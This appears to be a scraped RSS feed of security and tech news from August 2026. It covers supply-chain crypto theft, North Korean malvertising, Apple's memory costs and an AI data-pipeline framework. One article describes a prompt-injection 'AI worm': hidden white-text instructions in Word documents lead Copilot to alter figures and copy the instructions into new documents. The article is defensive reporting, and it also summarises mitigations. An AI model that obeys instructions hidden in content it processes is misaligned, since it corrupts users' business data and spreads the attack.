<title><![CDATA[Aviation cyber risk sits on the ground, the blindness sits in the air]]></title>
<description><![CDATA[In this interview with Help Net Security, Eliran Almog, CEO of Cyviation, explains why airline cyber losses happen on the ground while the aircraft stays unmonitored. He walks through GNSS jamming that leaves no trace in a SIEM, and a PX4 Autopilot flaw his team disclosed where drone command chan...]]></description>
<link>https://tsecurity.de/de/3697479/it-security-nachrichten/aviation-cyber-risk-sits-on-the-ground-the-blindness-sits-in-the-air/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3697479/it-security-nachrichten/aviation-cyber-risk-sits-on-the-ground-the-blindness-sits-in-the-air/</guid>
<pubDate>Mon, 03 Aug 2026 00:03:43 +0200</pubDate>
<content:encoded><![CDATA[<p>In this interview with Help Net Security, Eliran Almog, CEO of Cyviation, explains why airline cyber losses happen on the ground while the aircraft stays unmonitored. He walks through GNSS jamming that leaves no trace in a SIEM, and a PX4 Autopilot flaw his team disclosed where drone command channels accept unsigned messages. He argues the Electronic Flight Bag matters less than the data loading chain behind it, makes the case for digital twins, and … <a href="https://www.helpnetsecurity.com/2026/07/31/eliran-almong-cyviation-aviation-cyber-risk/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/31/eliran-almong-cyviation-aviation-cyber-risk/">Aviation cyber risk sits on the ground, the blindness sits in the air</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Smashing Security podcast #478: This job interview could destroy your company]]></title>
<description><![CDATA[You've been headhunted for a great job in cryptocurrency. All you have to do is complete a short online assessment - with your webcam on, of course, so they can verify who you really are. Which is ironic, because the person recruiting you doesn't exist. And North Korean hackers using this trick h...]]></description>
<link>https://tsecurity.de/de/3697317/it-security-nachrichten/smashing-security-podcast-478-this-job-interview-could-destroy-your-company/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3697317/it-security-nachrichten/smashing-security-podcast-478-this-job-interview-could-destroy-your-company/</guid>
<pubDate>Mon, 03 Aug 2026 00:03:21 +0200</pubDate>
<content:encoded><![CDATA[You've been headhunted for a great job in cryptocurrency. All you have to do is complete a short online assessment - with your webcam on, of course, so they can verify who you really are. Which is ironic, because the person recruiting you doesn't exist. And North Korean hackers using this trick have already made off with $643 million in crypto this year alone.

Meanwhile, researchers at UC San Diego have discovered that 2.2 million cars across the United States can be unlocked or immobilised by anyone with a bit of Bluetooth kit - thanks to one aftermarket car alarm that made a truly spectacular cryptographic blunder. The bug has been sitting there since 2017. Nobody noticed.

All this and more in episode 478 of the "Smashing Security" podcast with cybersecurity expert and keynote speaker Graham Cluley, and special guest Paul Ducklin.]]></content:encoded>
</item>
<item>
<title><![CDATA[Online ad firm Adform’s script compromised to steal cryptocurrency]]></title>
<description><![CDATA[Online advertising firm Adform suffered a supply-chain attack that delivered cryptocurrency-stealing scripts to websites using its ad platform, replacing wallet addresses copied to visitors' clipboards with ones controlled by an attacker. [...]]]></description>
<link>https://tsecurity.de/de/3697212/it-security-nachrichten/online-ad-firm-adforms-script-compromised-to-steal-cryptocurrency/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3697212/it-security-nachrichten/online-ad-firm-adforms-script-compromised-to-steal-cryptocurrency/</guid>
<pubDate>Mon, 03 Aug 2026 00:02:48 +0200</pubDate>
<content:encoded><![CDATA[Online advertising firm Adform suffered a supply-chain attack that delivered cryptocurrency-stealing scripts to websites using its ad platform, replacing wallet addresses copied to visitors' clipboards with ones controlled by an attacker. [...]]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple's Stock Drops Nearly 10%. How Will It Respond to Memory Shortage?]]></title>
<description><![CDATA[Apple's stock "fell just shy of 10% on Friday," reports Yahoo Finance, "after CEO Tim Cook warned about the impact of the global memory shortage on the company's business."

During Apple's third quarter earnings call, Cook said the company paid significantly more for memory in the quarter and exp...]]></description>
<link>https://tsecurity.de/de/3697097/it-security-nachrichten/apples-stock-drops-nearly-10-how-will-it-respond-to-memory-shortage/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3697097/it-security-nachrichten/apples-stock-drops-nearly-10-how-will-it-respond-to-memory-shortage/</guid>
<pubDate>Mon, 03 Aug 2026 00:02:34 +0200</pubDate>
<content:encoded><![CDATA[Apple's stock "fell just shy of 10% on Friday," reports Yahoo Finance, "after CEO Tim Cook warned about the impact of the global memory shortage on the company's business."

During Apple's third quarter earnings call, Cook said the company paid significantly more for memory in the quarter and expects that to further increase in the current period. And while Apple is able to offset some of that price jump, it won't be able to tackle it all... The CEO said that iPhone and Mac sales outpaced Apple's own expectations and that a lack of flexibility in the supply chain is making it more difficult to keep up with demand. 


Yahoo Finance cited an investment analyst who predicts overall gross margins for Apple's iPhone could drop from 38% to 34.5%. But another analyst sees a scenario where Apple "raises iPhone prices, unit growth will slow, and as unit growth slows, so will user growth, which we think ultimately will slow Services growth." (Still, Yahoo Finance predicts Apple's new leasing program "could help address those concerns.") 

Apple has another controversial option, according to the blog 9to5Mac:

 Bloomberg reports that US senators from both sides of the aisle are urging Apple CEO Tim Cook to commit by August 21 to not using memory chips from Chinese suppliers CXMT and YMTC.... 

Apple is not required to obtain U.S. government approval to purchase chips from the companies, but doing so without the administration's support could expose it to significant political ramifications. Which is why, in an interview with The Wall Street Journal ahead of Apple's recent price hikes, Tim Cook said that "everything needs to be on the table," adding that "we should look at all supply...." More recently, the Journal reported that Apple's use of Chinese memory chips could extend beyond China, with the company seeking the administration's blessing to use components from CXMT and YMTC in products sold elsewhere outside the US. The report also detailed Micron's efforts to persuade the administration to reject Apple's request, arguing that allowing Chinese suppliers into Apple's supply chain could undermine domestic memory production... 

[Bloomberg's reported that U.S. lawmakers warned] other companies could follow Apple's lead, potentially undermining domestic memory production and planned investments in states such as Indiana, Idaho, New York, and Virginia... [T]he senators sought details about any information Apple has shared with CXMT during the component qualification process, noting that the transfer of controlled technical information to advanced chipmaking facilities in China may require a Commerce Department license. 

The blog MacRumors notes that Apple has already increased prices for Macs and iPads in June because of surging memory prices. Apple CEO Tim Cook said Thursday "we did it because we're in what I would characterize as a 100-year flood on memory pricing with exponential increases in memory prices."

Cook did not comment on whether Apple plans to raise iPhone prices when the iPhone 18 Pro models and first foldable launch this September, but multiple analysts believe prices will go up. Cook said Apple is expecting to pay higher memory costs in the September quarter, though Apple will be able to partially offset it with lower costs on some non-memory components and a stockpile of inventory. 
Sky News points out that "It was Tim Cook's final earnings appearance before his retirement after 15 years at the helm of the company."


Apple, which recently topped Nvidia as the most valuable listed company, has been largely spared the volatility in share price seen by chipmakers and big spenders on artificial intelligence. Apple continues to generate cash without the huge investment spending that its Wall St peers are dealing with "and that showed across most parts of the operation," said Thomas Monteiro, an analyst at Investing.com.

<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Apple's+Stock+Drops+Nearly+10%25.+How+Will+It+Respond+to+Memory+Shortage%3F%3A+https%3A%2F%2Fhardware.slashdot.org%2Fstory%2F26%2F08%2F01%2F2011241%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fhardware.slashdot.org%2Fstory%2F26%2F08%2F01%2F2011241%2Fapples-stock-drops-nearly-10-how-will-it-respond-to-memory-shortage%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://hardware.slashdot.org/story/26/08/01/2011241/apples-stock-drops-nearly-10-how-will-it-respond-to-memory-shortage?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hackers Poison Adform Script to Swap Crypto Wallet Addresses Across Customer Sites]]></title>
<description><![CDATA[Attackers modified a JavaScript file served by advertising technology company Adform, turning it into a browser-side tool that rewrites cryptocurrency wallet addresses.

Adform detected the incident on July 27, 2026, removed the malicious code, notified affected clients, and reported it to author...]]></description>
<link>https://tsecurity.de/de/3697026/it-security-nachrichten/hackers-poison-adform-script-to-swap-crypto-wallet-addresses-across-customer-sites/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3697026/it-security-nachrichten/hackers-poison-adform-script-to-swap-crypto-wallet-addresses-across-customer-sites/</guid>
<pubDate>Mon, 03 Aug 2026 00:02:30 +0200</pubDate>
<content:encoded><![CDATA[Attackers modified a JavaScript file served by advertising technology company Adform, turning it into a browser-side tool that rewrites cryptocurrency wallet addresses.

Adform detected the incident on July 27, 2026, removed the malicious code, notified affected clients, and reported it to authorities.

Anyone who visited a site carrying the affected script on July 27 and copied a Bitcoin,]]></content:encoded>
</item>
<item>
<title><![CDATA[DPRK-Linked macOS Malvertising Uses Fake Updates to Deliver Crypto-Stealing Malware]]></title>
<description><![CDATA[Threat actors with ties to North Korea have been attributed to a sophisticated macOS malvertising campaign that involves redirecting users to fake web pages displaying a full-screen non-existent update sequence to deliver malware as part of a new iteration of the long-running Contagious Interview...]]></description>
<link>https://tsecurity.de/de/3697037/it-security-nachrichten/dprk-linked-macos-malvertising-uses-fake-updates-to-deliver-crypto-stealing-malware/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3697037/it-security-nachrichten/dprk-linked-macos-malvertising-uses-fake-updates-to-deliver-crypto-stealing-malware/</guid>
<pubDate>Mon, 03 Aug 2026 00:02:30 +0200</pubDate>
<content:encoded><![CDATA[Threat actors with ties to North Korea have been attributed to a sophisticated macOS malvertising campaign that involves redirecting users to fake web pages displaying a full-screen non-existent update sequence to deliver malware as part of a new iteration of the long-running Contagious Interview campaign.

The defining aspect of the attack is that bogus macOS software update screen stealthily]]></content:encoded>
</item>
<item>
<title><![CDATA[Amazon Links Debug and Chalk npm Hijack to North Korea’s Sapphire Sleet]]></title>
<description><![CDATA[Amazon has tied the September 2025 hijack of the npm packages debug and chalk to North Korea. For ten months, the incident sat in the public record as crypto theft: a maintainer phished through a lookalike npm domain and a wallet-draining script pushed into at least 18 packages carrying more than...]]></description>
<link>https://tsecurity.de/de/3697046/it-security-nachrichten/amazon-links-debug-and-chalk-npm-hijack-to-north-koreas-sapphire-sleet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3697046/it-security-nachrichten/amazon-links-debug-and-chalk-npm-hijack-to-north-koreas-sapphire-sleet/</guid>
<pubDate>Mon, 03 Aug 2026 00:02:30 +0200</pubDate>
<content:encoded><![CDATA[Amazon has tied the September 2025 hijack of the npm packages debug and chalk to North Korea. For ten months, the incident sat in the public record as crypto theft: a maintainer phished through a lookalike npm domain and a wallet-draining script pushed into at least 18 packages carrying more than 2 billion weekly downloads between them.

The original Aikido and Wiz reports did not attribute the]]></content:encoded>
</item>
<item>
<title><![CDATA[Copilot worm can spread through Microsoft Word docs]]></title>
<description><![CDATA[An “AI worm” can spread through Microsoft Word documents using Copilot as a vector, a prominent Norwegian AI researcher reported on Tuesday.



The report from Håkon Måløy, later confirmed by Microsoft, said that an attacker can conceal instructions in a document that is later used as source mate...]]></description>
<link>https://tsecurity.de/de/3696850/it-nachrichten/copilot-worm-can-spread-through-microsoft-word-docs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3696850/it-nachrichten/copilot-worm-can-spread-through-microsoft-word-docs/</guid>
<pubDate>Mon, 03 Aug 2026 00:02:22 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">An “AI worm” can spread through Microsoft Word documents using Copilot as a vector, a prominent Norwegian AI researcher reported on Tuesday.</p>



<p class="wp-block-paragraph"><a href="https://enklypesalt.com/posts/context-collapse-part3-ai-worming-through-word/" target="_blank" rel="noreferrer noopener">The report</a> from <a href="https://www.linkedin.com/in/h%C3%A5kon-m%C3%A5l%C3%B8y-770572276/" target="_blank" rel="noreferrer noopener">Håkon Måløy</a>, later confirmed by Microsoft, said that an attacker can conceal instructions in a document that is later used as source material for Copilot-generated or Copilot-edited Word documents, for example, as input to a financial report. Those malicious instructions could potentially alter figures in the document being created. They then copy themselves into the new document, causing it to become a carrier of the attack when used in another Copilot-assisted workflow.</p>



<p class="wp-block-paragraph">Måløy noted: “To my knowledge, this is among the first public demonstrations of document-borne AI-worm self-propagation through normal workflows in a mainstream commercial productivity suite.”</p>



<p class="wp-block-paragraph">Microsoft on Thursday emailed a statement to CSOonline discussing the report’s revelations. </p>



<p class="wp-block-paragraph">“We have addressed the findings reported by the researcher and thank them for working with us through coordinated vulnerability disclosure. To address this class of risk, we use a defense-in-depth strategy with safeguards that block malicious instructions at multiple points and help keep tasks aligned with users’ requests,” Microsoft said. </p>



<p class="wp-block-paragraph">“We are continuously strengthening these safeguards as the technology and threat landscape evolve,” it added. “We encourage customers to install the latest updates, use multiple layers of security protection, treat content from unknown sources with caution, and review AI-generated content before using or sharing it.” </p>



<h2 class="wp-block-heading">Sidesteps defenses</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/akm76/" target="_blank" rel="noreferrer noopener">Aman Mahapatra</a>, chief strategy officer for Tribeca Softtech, a New York City-based technology consulting firm, has reviewed the mechanisms used in this vulnerability and says that it is much worse than it might seem, because it will sidestep just about every defensive mechanism enterprises have in place today.</p>



<p class="wp-block-paragraph">“This is a worm, a self-propagating malware pattern that uses Copilot as the transmission mechanism and legitimate corporate collaboration as the delivery channel. It bypasses every traditional email security control because the document is not malicious on delivery and it becomes malicious when Copilot processes it. That means that it bypasses DLP because the exfiltration happens through the user’s own authenticated Copilot session,” Mahapatra said. “It then bypasses endpoint protection because no code executes, only instructions get followed by an AI service the enterprise has explicitly authorized.”</p>



<p class="wp-block-paragraph">He also noted that researchers have been warning about this class of attack for two years.</p>



<h2 class="wp-block-heading">Microsoft’s involvement</h2>



<p class="wp-block-paragraph">Måløy said that he has been working with the Microsoft Security Response Center (MSRC) since March 3 and <a href="https://www.csoonline.com/article/4203349/russian-hackers-turn-exchange-flaw-into-half-click-mailbox-takeover.html" target="_blank">Microsoft </a> subsequently implemented and distributed multiple small focused mitigations, but the core vulnerability has yet to be fixed.</p>



<p class="wp-block-paragraph">He said he was hesitant to disclose an active vulnerability, but felt that it was now time to publish. </p>



<p class="wp-block-paragraph">“My reasoning is that defenders cannot reduce exposure to a risk they are unaware of,” Måløy wrote, “and the propagation mechanism described here affects ordinary document workflows that many organizations already rely on.”</p>



<p class="wp-block-paragraph">In an email interview, Måløy noted that the tweaks Microsoft has implemented were helpful, nonetheless. </p>



<p class="wp-block-paragraph">“The coordinated disclosure process showed that mitigations can meaningfully reduce the demonstrated attack surface, making attacks less reliable and limiting their reach, even without completely eliminating the underlying problem,” he said. </p>



<p class="wp-block-paragraph">Måløy also addressed the resolution that many analysts and consultants suggested, which is to change the nature of LLMs to fully isolate instructions from the data they operate on. </p>



<p class="wp-block-paragraph">“Separating instructions from data may be part of the solution, but I think the distinction between data and instructions is not always clear in real-world workflows. For example, a user may ask an agent to arrange a business trip, requiring the agent to retrieve an email specifying the approved itinerary and a document containing the booking procedure,” Måløy said. </p>



<p class="wp-block-paragraph">“My view is that the broader challenge is therefore not simply to prevent systems from interpreting external content as instructions, but to evaluate whether those instructions align with the user’s goals and the context in which the system is operating,” he added.</p>



<h2 class="wp-block-heading">Problem hard to overstate</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/eclectiqus/" target="_blank" rel="noreferrer noopener">Mike Wilkes</a>, enterprise CISO at Aikido Security, said it would be difficult to overstate the potential problems from this situation. </p>



<p class="wp-block-paragraph">“This is a significant issue because it moves prompt injection from a single compromised interaction into a potentially self-propagating document integrity attack,” he said, noting that it is not a conventional worm that spreads automatically. A user or Copilot workflow must still bring an infected document into the model’s context. “But once that happens, the malicious instructions can reportedly alter business information, conceal themselves inside the resulting Word document and turn a legitimate internal file into the next carrier,” he said.</p>



<p class="wp-block-paragraph">That, he pointed out, creates “a dangerous enterprise supply chain in which financial reports, contracts, policies and partner documents may inherit malicious behavior while retaining the trust associated with their legitimate authors and Microsoft 365 accounts.”</p>



<h2 class="wp-block-heading">Not a new issue</h2>



<p class="wp-block-paragraph">The key issue behind this flaw is the fact that genAI tends to struggle with telling the difference between data that a user offers as input and the instructions the AI is to execute.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/fvillanustre/" target="_blank" rel="noreferrer noopener">Flavio Villanustre</a>, CISO for the LexisNexis Risk Solutions Group, observed that the same problem with mixed data and instructions occurred in databases decades ago, and turned into what we know as SQL injection attacks today. But, he noted, a few years later, parametrized binding for the database access layers was developed, which separates instructions, which are handled internally and safely, from data, which can come from untrusted sources. “The same needs to happen with LLMs and other AI,” he said.</p>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/mike-leone/" target="_blank" rel="noreferrer noopener">Mike Leone</a>, a VP/principal analyst at Moor Insights &amp; Strategy, agreed.</p>



<p class="wp-block-paragraph">“It’s hard not to chuckle a bit with this one. People have been asking whether data can give orders since SQL injections. We fixed that one by giving the database a way to tell an instruction from a value,” Leone said. “Thirty years later, we’ve built an entire category of software that can’t tell the difference at all.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/tomfindling/" target="_blank" rel="noreferrer noopener">Tom Findling</a>, CEO at Conifers.ai, also said he sees the data-vs-instructions issue as the biggest problem. </p>



<p class="wp-block-paragraph">“Separating data from instructions is still unsolved at the model layer. The labs are making real progress, but not enough to be your only control,” he said, and stressed, “Microsoft doesn’t need to wait for that. It can slow propagation inside Copilot: stop hidden content from being written into new documents, surface hidden text before it’s used, preserve the trust level of what Copilot read and show all AI-generated changes.”</p>



<h2 class="wp-block-heading">Fix needs industry agreement</h2>



<p class="wp-block-paragraph">However, <a href="https://my.idc.com/getdoc.jsp?containerId=PRF004767" target="_blank" rel="noreferrer noopener">Frank Dickson</a>, group VP for security at IDC, argued that a fix needs industry agreement. </p>



<p class="wp-block-paragraph">“A fundamental fix requires the industry to converge on the same architectural change, which isn’t happening anytime soon given the incentives and the fact that the major players are far from besties,” he said, pointing out that Instruction-data separation would need to be baked in at the model or platform level across every major vendor. “None of them are rewarding that work commercially right now, so treat that as a multi-year research problem, not something a CISO should wait on.”</p>



<p class="wp-block-paragraph">Leone disagreed, arguing that a single vendor can do quite a bit, at least for its own customers. </p>



<p class="wp-block-paragraph">“Microsoft has said publicly since last year that indirect prompt injection can’t be fully prevented, and I give them credit for saying it out loud rather than pretending otherwise,” Leone said, noting that the industry doesn’t have to move in lockstep. “This attack lives inside one product,” he said. “If Microsoft hardens the Copilot document path, Copilot customers get safer whether or not anyone else moves.”</p>



<p class="wp-block-paragraph">Dickson added that another critical problem with this vulnerability is that the carrier documents are created by legitimate employees using legitimate tools, “so there’s no obvious point of origin once the payload starts moving; an organization could be laundering corrupted financial figures through its own workflow for weeks before anyone notices.”</p>



<h2 class="wp-block-heading">Tactics that might help</h2>



<p class="wp-block-paragraph">That said, experts had some specific suggestions for CISOs trying to negate this problem. </p>



<p class="wp-block-paragraph">IDC’s Dickson said, “the most useful lever right now sits outside the model entirely, in how much untrusted content Copilot is allowed to pull into a session without a human choosing it.” He noted that enterprises can turn Copilot’s auto-discovery behavior off or restrict it, and require humans to explicitly select the documents they feed it. “That alone closes off one of the two ways the attack gets a foothold,” he said.</p>



<p class="wp-block-paragraph">IDC also suggested a visible diff or redline of anything Copilot changes in a financial or otherwise consequential document, and the requirement for a human to approve the changes. “That’s not a technical fix, it’s a workflow one, and it’s available today,” Dickson said.</p>



<p class="wp-block-paragraph">He said that IT should also track where content came from and what was touched by an AI system, in metadata that travels with the document. “It doesn’t stop the injection, but it means when something does get through, an organization can actually trace how far it spread instead of discovering a corrupted number three reports later with no way to reconstruct the chain,” he said.</p>



<p class="wp-block-paragraph">However, one expert, <a href="https://www.fortra.com/profile/tyler-reguly" target="_blank" rel="noreferrer noopener">Tyler Reguly</a>, Fortra’s associate director of security R&amp;D, said that he didn’t see this vulnerability having a meaningful impact because it feels like what he called a “laboratory vulnerability.”</p>



<p class="wp-block-paragraph">Normal enterprise workflows don’t encompass a number of the necessary steps for compromise, he said, pointing out that, if anything, people are trained not to download Word documents. Plus, he noted, looking at the blurred example in the report, the malicious document contained an additional apparently blank page which held the concealed prompts in white text.</p>



<p class="wp-block-paragraph">“That page is going to send up warning signs for me if someone even managed to convince me to download an external Word document,” he said. So, overall, “this feels like it requires a perfect storm.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.csoonline.com/article/4203630/microsoft-confirms-an-ai-worm-is-propagating-through-copilot-and-other-ms-apps.html" target="_blank">CSOonline</a>.</em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Interview: Fabrizio Pilotti, CIO, Aston Martin Formula One]]></title>
<description><![CDATA[Managing IT for a Formula One racing team is almost as much of a high-speed experience as the cars themselves – and tech is becoming more and more embedded into the sport]]></description>
<link>https://tsecurity.de/de/3696789/it-nachrichten/interview-fabrizio-pilotti-cio-aston-martin-formula-one/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3696789/it-nachrichten/interview-fabrizio-pilotti-cio-aston-martin-formula-one/</guid>
<pubDate>Mon, 03 Aug 2026 00:02:20 +0200</pubDate>
<content:encoded><![CDATA[Managing IT for a Formula One racing team is almost as much of a high-speed experience as the cars themselves – and tech is becoming more and more embedded into the sport]]></content:encoded>
</item>
<item>
<title><![CDATA[Structured AI data pipelines score 10.9 points below free-form code — DataFlow-Harness closes the gap]]></title>
<description><![CDATA[If you ask an AI coding agent to write a standalone Python script to parse a single JSON file, it will likely give you a perfect answer in seconds. But the same agent often breaks if you ask it to build a systematic data processing pipeline, like ingesting thousands of messy documents, chunking t...]]></description>
<link>https://tsecurity.de/de/3696686/it-nachrichten/structured-ai-data-pipelines-score-109-points-below-free-form-code-dataflow-harness-closes-the-gap/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3696686/it-nachrichten/structured-ai-data-pipelines-score-109-points-below-free-form-code-dataflow-harness-closes-the-gap/</guid>
<pubDate>Mon, 03 Aug 2026 00:02:19 +0200</pubDate>
<content:encoded><![CDATA[<p>If you ask an AI coding agent to write a standalone Python script to parse a single JSON file, it will likely give you a perfect answer in seconds. But the same agent often breaks if you ask it to build a systematic data processing pipeline, like ingesting thousands of messy documents, chunking text, scoring quality, and filtering noise for a Retrieval-Augmented Generation (RAG) system that fits your specific enterprise stack.</p><p>While large language models (LLMs) excel at one-off code generation, their outputs for complex data-processing tasks are typically free-form, disposable scripts. These scripts are detached from the governable workflow abstractions that MLOps teams rely on for production, making them difficult to audit or edit visually.</p><p>To address this, researchers at Peking University, <!-- -->Zhongguancun Academy,<!-- --> and Shanghai’s Institute for Advanced Algorithms Research introduced <a href="https://arxiv.org/abs/2607.16617">DataFlow-Harness</a>, an open-source framework that guides an LLM agent to build structured, visual data-processing workflows step-by-step, rather than writing raw code from scratch.</p><p>The framework makes AI-generated pipelines easier to manage and integrate into existing architectures because the generated artifacts are persistent and easily editable.</p><p>The researchers report that the platform achieves a 93.3% observed end-to-end pass rate on a 12-task data-engineering benchmark. Compared to standard Claude Code, it reduces API costs by up to 72.5% and response latency by 49.9%, while achieving nearly the same success rate as an AI given the entire codebase to write standard scripts. For enterprise teams, this means getting the speed of AI automation without accumulating unmanageable technical debt, ensuring that pipelines remain secure, auditable, and ready for production.</p><h2>The "NL2Pipeline gap"</h2><p>Data-centric AI requires workflows for tasks like synthetic data generation, retrieval augmentation, and model training. While LLMs can translate natural language into executable implementations to perform these tasks, high task accuracy is insufficient for production deployment.</p><p>"The first wall is usually not writing Python," Runming He, first author of the DataFlow-Harness paper, told VentureBeat. "Modern coding agents can often produce a plausible script quickly. The harder problem is grounding that script in a live production platform: using operators that are actually installed, matching the real dataset schema, referring to registered datasets and model services, preserving dependencies between stages, and leaving behind an artifact that another engineer can understand and revise."</p><p>General-purpose AI agents frequently hallucinate dependencies, relying on unavailable operators or outdated platform assumptions. Instead of leaving behind an artifact that another engineer can understand and revise, they generate disposable code that is difficult to audit through workflow managing tools.</p><p>The researchers define this challenge as the "NL2Pipeline gap": the disconnect between a user expressing workflow requirements in natural language and the production environment requiring structured and persistent pipeline assets.</p><p>The researchers demonstrated this gap in their experiments. For example, when Claude Code was allowed to write standard, free-form scripts using codebase context, it hit a 94.2% success rate. However, when restricted to only using the platform's specific building blocks to create a native workflow graph, its success rate dropped to 83.3%. This gap is the paper's central finding: native, governable pipelines are meaningfully harder for the agent to produce than throwaway code.</p><p>“Closing this gap requires more than improving code-generation accuracy: construction must remain grounded in platform semantics and produce artifacts that integrate with the host platform,” the researchers write.</p><h2>How the four components work together</h2><p>"DataFlow-Harness changes the agent’s action space," He said. "Instead of asking the agent to emit arbitrary code, it retrieves the live operator registry and current pipeline state through MCP and applies typed, incremental changes to a persistent DAG."</p><p>To achieve this, the platform organizes workflow synthesis around four components: the Data Pipeline Backend, the interaction layer (DataFlow-WebUI), the MCP Tools Layer, and the AI guidance layer (DataFlow-Skills).</p><p>The Data Pipeline Backend acts as the authoritative source of truth across conversational, visual, and programmatic interfaces. It represents the pipeline as a directed acyclic graph (DAG), a structured workflow map containing data sources, configured pre-built processing modules (which the researchers refer to as "operators"), and execution dependencies. Instead of generating free-form code, agents interact with this backend through “typed mutations,” like adding an operator or connecting edges.</p><p>DataFlow-Skills are markdown files that inject domain-specific knowledge into the model's context window, guiding it on operator-selection patterns, schema inference, and assembly procedures. Rather than letting the AI guess how to assemble components, skills provide the AI with compatibility rules, teaching it how to correctly match different data formats and handle complex data structures without breaking the pipeline. </p><p>The MCP Tools Layer gives the AI access to the operator registry and current state of the data workflow. The AI proposes structured changes through the tools layer. The system validates the changes to ensure the workflow runs in a valid sequence and that every connected module speaks the same data language.</p><p>DataFlow-WebUI provides two interfaces that allow humans and AI to build the workflow together. Developers can describe workflow requirements in natural language through a conversational interface. They can also access the workflow as a graphical map in a visual DAG editor. Here, they can directly inspect the changes proposed by the AI and make modifications.</p><p>“The current implementation performs static checks against platform metadata before accepting pipeline changes,” He said. “These include checks for registered datasets, operators and model-serving references, field flow, and some invalid parameter usage, as well as structural validity. The result is visible in a graphical editor and can be revised either manually or by the agent in later turns.”</p><h2>The results: 93.3% pass rate, 72.5% lower cost</h2><p>The researchers tested DataFlow-Harness on a benchmark of 12 tasks across six industrial data-processing scenarios, such as QA generation, review governance, and schema normalization. They used Claude Opus 4.7 as the backbone model in their experiments.</p><p>They compared DataFlow-Harness against three baselines:</p><ul><li><p>Vanilla CC: An unconstrained coding baseline using standard Claude Code.</p></li><li><p>Context-Aware CC: An agent that has access to the DataFlow codebase in its context window.</p></li><li><p>MCP-only: An agent that has access to the DataFlow MCP tools and is instructed to generate platform-native DAGs (without access to DataFlow-Skills).</p></li></ul><p>DataFlow-Harness achieved a 93.3% end-to-end pass rate, improving by 10.0 percentage points over MCP-only and beating Vanilla CC (91.7%), while being within 0.9 percentage points of Context-Aware CC (94.2%).</p><p>Importantly, it reduced API costs to $0.261 per task, a 72.5% drop compared to Vanilla CC and 42.8% compared to Context-Aware CC. In generating workflows, it was 49.9% faster than Vanilla CC and 17.6% faster than Context-Aware CC.</p><p>DataFlow-Harness proved particularly effective on complex tasks that depend on implicit domain knowledge, like QA generation. The baseline MCP-only approach frequently generated structurally valid DAGs but struggled to infer task-specific procedures from operator descriptions alone.</p><p>To show how this works in the real world, the researchers detailed a textbook-to-VQA extraction task. This job required the AI to stitch together capabilities such as PDF parsing, layout recovery, OCR, figure extraction, multimodal understanding, and long-range question-answer matching. DataFlow-Harness achieved 97.2% precision and an 87.3% coverage rate, easily beating the baselines. By having the AI snap together existing platform assets rather than coding complex tasks from scratch, it recovered more valid QA pairs from the document.</p><p>Their experiments also showed that DataFlow-Harness is highly effective at creating data generation pipelines. For example, in a synthetic instruction-data generation task, the agent built a multi-stage pipeline that generated candidate instruction–response pairs, critiqued and rewrote them, scored them with an LLM-based judge, and filtered low-quality outputs before training.</p><p>"Such workflows are costly to build and fragile to maintain as collections of ad hoc scripts," He said. "The harness does not make them automatically safe, but it turns them into explicit, editable stages that engineers can inspect, test, and govern using normal production controls."</p><p>Similarly, when tasked with building a math data cleaning-and-synthesis pipeline, the data produced by the DataFlow-Harness pipeline trained a better-performing model with higher average accuracy on AIME24 and AIME25 benchmarks than the data produced by the vanilla Claude Code pipeline.</p><h2>Tech stack fit and implementation tradeoffs</h2><p>For engineering teams evaluating DataFlow-Harness, it is important to understand how it fits into existing infrastructure. Released under the Apache 2.0 license, the current implementation requires a bit of engineering to fit into popular tech stacks.</p><p>"The current implementation is native to the DataFlow platform; it is not a turnkey Airflow, Prefect, or Spark plug-in," He said. To use those systems as an execution backbone, teams must build an adapter to connect their organization’s registry, metadata, and execution interfaces to the agent's control layer.</p><p>Furthermore, organizations must invest in the boundaries they want the AI to respect. This requires maintaining an operator registry, defining schemas, and encoding recurring domain procedures as Skills. Because of this overhead, He recommends against using the framework for small, one-off transformations where a simple script suffices, or in legacy environments that cannot expose reliable metadata.</p><p>Finally, while the platform prevents illogical connections by validating structural properties, it is an engineering control layer, not a compliance substitute. "The harness should still be treated as an engineering control layer, not as a substitute for compliance policy, validated detection models, access controls, audit logging, or human approval," He said.</p><p>The platform is open-source, and developers can access the source code and codebase documentation directly via the project's <a href="https://github.com/OpenDCAI/DataFlow-WebUI">GitHub repository</a>.</p><p>As protocols like MCP become standardized, the boundary between human engineers and AI agents will shift. "The goal is not autonomous data engineering without oversight," He said. "It is a better division of labor: agents perform repetitive construction 